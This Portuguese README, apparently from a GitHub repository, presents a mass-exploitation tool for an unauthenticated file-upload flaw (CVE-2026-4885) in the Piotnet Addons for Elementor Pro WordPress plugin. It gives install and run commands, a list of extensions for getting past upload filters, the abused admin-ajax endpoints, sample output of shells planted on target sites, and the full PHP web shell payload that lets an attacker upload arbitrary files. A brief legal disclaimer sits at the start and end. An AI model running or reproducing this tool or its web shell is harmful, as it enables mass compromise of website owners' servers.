
Piotnet Addons for Elementor Pro <= 7.1.70 - Upload Arbitrário de Arquivo Não Autenticado via Upload de Arquivo de Formulário
Upload arbitrário de arquivos não autenticado que leva à Execução Remota de Código (RCE) no Piotnet Addons for Elementor Pro ≤ 7.1.70.
Esta ferramenta foi projetada para exploração em massa – forneça uma lista de alvos e ela irá automaticamente:
post_id, form_id e o nome correto do campo de upload.phtml, .php3, .php4, .phps, .pht, .php2) para contornar filtros fracospafe_export_databaseLogic_Internet) e salvar a URL em shells.txt⚠️ Aviso Legal
Esta ferramenta é apenas para fins educacionais e testes de segurança autorizados.
O uso não autorizado contra sistemas que você não possui é ilegal.Mais avisos Você pode ver o aviso na capa do Jenderal92. Confira AQUI !!!
data-pafe-form-builder-field-name, data-elementor-id, etc.)https:// se estiver faltando/contact, /apply, /quote, /book-appointment, …)wp-content/uploads/piotnet-addons-for-elementor/ quanto a caminhos raiz diretosrequestspip install requests
Installation
git clone https://github.com/Jenderal92/CVE-2026-4885.git
cd CVE-2026-4885
Usage
Crie um arquivo chamado targets.txt (ou qualquer nome) com uma URL por linha:
https://example1.com
example2.com
http://vulnerable-site.org
python2 CVE-2026-4885.py targets.txt
O script irá:
· Mostrar o progresso para cada alvo · Salvar as URLs de shell bem-sucedidas em shells.txt
Exemplo de saída
[*] Loaded built-in shell (598 bytes)
[*] scanning 25 pages...
[+] found form at https://target.com/contact | post_id=13 form_id=fa2c60e field=file
[*] post_id=13 form_id=fa2c60e field=file
[*] trying .phtml
[+] uploaded .phtml
[+] shell URL: https://target.com/wp-content/uploads/piotnet-addons-for-elementor/xxx-6a11e162a6099.phtml
[+] SHELL UPLOADED -> https://target.com/wp-content/uploads/piotnet-addons-for-elementor/xxx-6a11e162a6099.phtml
Opções de linha de comando (personalizáveis no script)
Variável Descrição Padrão TIMEOUT Tempo limite da solicitação HTTP 10 segundos MAX_THREADS Número de threads simultâneos 20 OUTPUT_FILE Onde salvar as URLs de shell bem-sucedidas shells.txt EXT_LIST Extensões de arquivo a testar .phtml, .php3, .php4, .phps, .pht, .php2
Você pode alterá-los editando o topo do script.
Payload do Shell
O shell integrado é:
GIF89a;
<?php
echo 'Logic_Internet'.'<br>'.'Uname:'.php_uname().'<br>'.$cwd = getcwd();
Echo '<center> <form method="post" target="_self" enctype="multipart/form-data"> <input type="file" size="20" name="uploads" /> <input type="submit" value="upload" /> </form> </center>'.'<br>';
if (!empty ($_FILES['uploads'])) {
move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);
Echo "<script>alert('upload Done');</script><b>Uploaded !!!</b><br>name : ".$_FILES['uploads']['name']."<br>size : ".$_FILES['uploads']['size']."<br>type : ".$_FILES['uploads']['type'];
}
?>
· Exibe informações do servidor, diretório de trabalho atual e um formulário de upload de arquivo. · Pode ser substituído por qualquer outro código PHP (basta alterar SHELL_CODE no script).
?ver= nos assets do plugin na página inicial.
· Alterna para verificar a existência de arquivos CSS/JS conhecidos.post_id, form_id e o nome correto do campo de upload a partir de atributos HTML específicos do Piotnet.wp-admin/admin-ajax.php?action=pafe_ajax_form_builder.
· Usa um payload JSON que imita o mecanismo de upload do plugin.
· Testa todas as extensões em EXT_LIST até que uma seja bem-sucedida.pafe_export_database, que retorna um CSV contendo a URL completa do arquivo enviado.
· Analisa a URL usando um padrão de regex que corresponde a xxx-{random}.ext.Logic_Internet.
· Salva a URL em shells.txt em caso de sucesso.UnicodeEncodeError no Windows
O script já inclui uma função safe_unicode() que lida com caracteres não ASCII. Se você ainda vir erros, certifique-se de que seu terminal suporta UTF-8:
chcp 65001
Nenhum formulário encontrado / Todas as extensões falham
· O alvo pode estar corrigido (patch) ou não utilizar o Piotnet Addons.
· Tente aumentar TIMEOUT ou MAX_THREADS.
· Verifique manualmente se o plugin está realmente instalado.
O vazamento falha, mas o upload foi bem-sucedido
· O endpoint pafe_export_database pode estar desabilitado ou protegido.
· Tente acessar /wp-admin/admin-ajax.php?action=pafe_export_database manualmente em um navegador para ver se está acessível.
· Use esta ferramenta apenas em sistemas para os quais você tem permissão por escrito para testar. · O autor não é responsável por qualquer uso indevido ou dano causado. · Respeite todas as leis aplicáveis.